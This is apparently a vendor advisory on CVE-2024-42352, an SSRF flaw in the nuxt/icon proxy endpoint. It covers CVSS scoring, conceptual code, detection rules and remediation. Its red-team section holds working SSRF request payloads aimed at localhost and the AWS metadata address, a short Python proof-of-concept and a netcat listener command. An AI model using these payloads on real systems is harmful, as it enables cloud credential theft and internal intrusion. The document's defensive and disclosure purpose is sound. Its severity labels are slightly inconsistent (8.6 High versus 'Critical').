CVE-2024-42352

Executive Summary

CVE-2024-42352 is a critical Server-Side Request Forgery (SSRF) vulnerability discovered in the nuxt/icon module, a popular package within the Nuxt.js ecosystem used for client-side icon lookups. The vulnerability resides in the /api/_nuxt_icon/[name] API endpoint, which proxies icon requests. Due to improper parsing of the proxied request path, an attacker can manipulate the URL scheme and host, forcing the server to make requests to arbitrary internal or external destinations. This can lead to sensitive data exposure, internal network reconnaissance, and potential lateral movement. The vulnerability has been patched in version 1.4.5, and all users are strongly advised to upgrade immediately. No workarounds are available.

Supply Chain & Package Security

This vulnerability affects the nuxt/icon package, distributed via npm. As an open-source component, it is integrated into the supply chain of many Nuxt.js applications. An attacker exploiting this SSRF could potentially access cloud metadata endpoints (e.g., AWS 169.254.169.254), internal services, or other sensitive resources, thereby compromising the entire application and its underlying infrastructure. Organizations using Nuxt.js should audit their dependency trees for vulnerable versions of nuxt/icon and ensure rapid patching.

CVSS Breakdown & Threat Level

CVSS Score: 8.6 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

• Attack Vector (AV): Network – The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
• Privileges Required (PR): None – No authentication is needed to trigger the vulnerability.
• User Interaction (UI): None – The attack does not require any user action.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High – Successful exploitation can lead to disclosure of sensitive internal data.
• Integrity (I): Low – Limited ability to modify data or resources.
• Availability (A): None – The vulnerability does not directly impact availability.

Threat Level: Critical. The low attack complexity and lack of required privileges make this a high-priority target for attackers. The potential for data exfiltration from internal networks elevates the risk.

Deep Dive & Mechanics

The vulnerability is rooted in the new URL() constructor used to parse the final proxied path in the /api/_nuxt_icon/[name] endpoint. The constructor is overly tolerant of malformed URLs, allowing an attacker to inject a relative scheme or path to change the destination host.

Attack Flow:

1. The endpoint receives a request like /api/_nuxt_icon/[name].
2. The [name] parameter is used to construct a proxied URL.
3. The vulnerable code uses new URL(path) to parse the final URL.
4. An attacker can craft a [name] value such as http:127.0.0.1:8080 or http://169.254.169.254/latest/meta-data/.
5. The new URL() constructor interprets the http: prefix as a scheme change, and the subsequent string as the host and path.
6. The server then makes an HTTP request to the attacker-specified host, enabling SSRF.

Example Malicious Request:

GET /api/_nuxt_icon/http:127.0.0.1:8080/internal-api HTTP/1.1
Host: target-app.com

This would cause the server to proxy a request to http://127.0.0.1:8080/internal-api.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable handler
app.get('/api/_nuxt_icon/:name', async (req, res) => {
  const iconPath = req.params.name;
  const url = new URL(iconPath); // No validation - allows scheme injection
  const response = await fetch(url);
  // ... proxy response
});

Patched Code (Conceptual):

// Patched handler
app.get('/api/_nuxt_icon/:name', async (req, res) => {
  const iconPath = req.params.name;
  // Validate that the path is a relative path, not a full URL
  if (iconPath.startsWith('http:') || iconPath.startsWith('https:') || iconPath.startsWith('//')) {
    return res.status(400).send('Invalid icon path');
  }
  // Sanitize and construct safe URL
  const safeUrl = new URL(iconPath, 'https://icons.example.com'); // Base URL enforced
  const response = await fetch(safeUrl);
  // ... proxy response
});

The patch introduces validation to reject paths that attempt to change the scheme or host, and enforces a safe base URL for all proxied requests.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy a vulnerable Nuxt.js application using nuxt/icon version < 1.4.5.
2. Set up a local listener (e.g., nc -lvnp 8080) to simulate an internal service.
3. Use curl or a browser to send the malicious request.

Exploitation Steps:

1. Identify the target endpoint: /api/_nuxt_icon/[name].
2. Craft a payload to target an internal service:

   GET /api/_nuxt_icon/http:127.0.0.1:8080 HTTP/1.1
   Host: target-app.com
   

3. For cloud metadata exfiltration (AWS):

   GET /api/_nuxt_icon/http:169.254.169.254/latest/meta-data/ HTTP/1.1
   Host: target-app.com
   

4. Observe the response from the internal service or metadata endpoint.

Proof of Concept (PoC) Script:

import requests

target = "http://target-app.com"
payload = "http:127.0.0.1:8080"
url = f"{target}/api/_nuxt_icon/{payload}"

response = requests.get(url)
print(response.text)

Blue Team (Defensive)

Detection:

• Monitor logs for requests to /api/_nuxt_icon/ containing http:, https:, or // in the path.
• Alert on outbound connections from the application server to unexpected internal IPs (e.g., 127.0.0.1, 10.x.x.x, 169.254.x.x).
• Use network segmentation to limit the impact of SSRF.

Mitigation:

• Immediately upgrade nuxt/icon to version 1.4.5 or later.
• If immediate patching is not possible, implement a Web Application Firewall (WAF) rule to block requests with suspicious patterns in the icon path.
• Restrict outbound network access from the application server using egress firewalls.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests from the application server to internal IP addresses (e.g., 127.0.0.1, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16).
  • Requests to cloud metadata IPs (169.254.169.254 for AWS, 100.100.100.200 for Alibaba Cloud, etc.).
  • Unusual User-Agent strings in internal requests (may match the application's default).

• File/Log IOCs:

  • Application logs showing requests to /api/_nuxt_icon/ with http: or https: prefixes.
  • Web server access logs with 200 responses to suspicious icon paths.

• Behavioral IOCs:

  • Unexpected spikes in outbound traffic from the application server.
  • Access to internal services that are not normally accessed by the application.

Detection Engineering

YARA Rule

rule CVE_2024_42352_SSRF_NuxtIcon {
    meta:
        description = "Detects exploitation attempts of CVE-2024-42352 in Nuxt icon endpoint"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-42352"
        severity = "high"
    strings:
        $s1 = "/api/_nuxt_icon/" ascii wide nocase
        $s2 = "http:" ascii wide nocase
        $s3 = "https:" ascii wide nocase
        $s4 = "169.254.169.254" ascii wide nocase
        $s5 = "127.0.0.1" ascii wide nocase
    condition:
        $s1 and ($s2 or $s3) and any of ($s4, $s5)
}

Sigma Rule

title: CVE-2024-42352 SSRF via Nuxt Icon Endpoint
id: 8f2a1c3d-5e6b-4a7c-9d8e-1f2a3b4c5d6e
status: experimental
description: Detects HTTP requests to the Nuxt icon endpoint with suspicious URL schemes indicating SSRF exploitation.
author: Valters IT
date: 2024-10-27
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-stem|contains: "/api/_nuxt_icon/"
        cs-uri-query|contains: 
            - "http:"
            - "https:"
    condition: selection
falsepositives:
    - Legitimate use of external icon URLs (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-42352 SSRF Attempt via Nuxt Icon"; flow:to_server; content:"/api/_nuxt_icon/"; http_uri; content:"http:"; http_uri; distance:0; within:100; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade nuxt/icon to version 1.4.5 or later. Run npm update @nuxt/icon or update your package.json and reinstall.
2. WAF Rules: Deploy WAF rules to block requests to /api/_nuxt_icon/ containing http:, https:, or //.
3. Network Segmentation: Restrict outbound traffic from the application server using egress firewalls. Block access to internal IP ranges and cloud metadata endpoints.

Long-Term Measures:

• Implement input validation and sanitization for all user-controlled parameters used in URL construction.
• Use a URL parser that strictly validates allowed schemes and hosts.
• Conduct regular security audits and dependency scans.
• Monitor for similar SSRF vulnerabilities in other components.

Valters IT Signature

This report was generated by Valters IT Cyber Threat Intelligence Division. For questions or further analysis, contact threatintel@valtersit.com.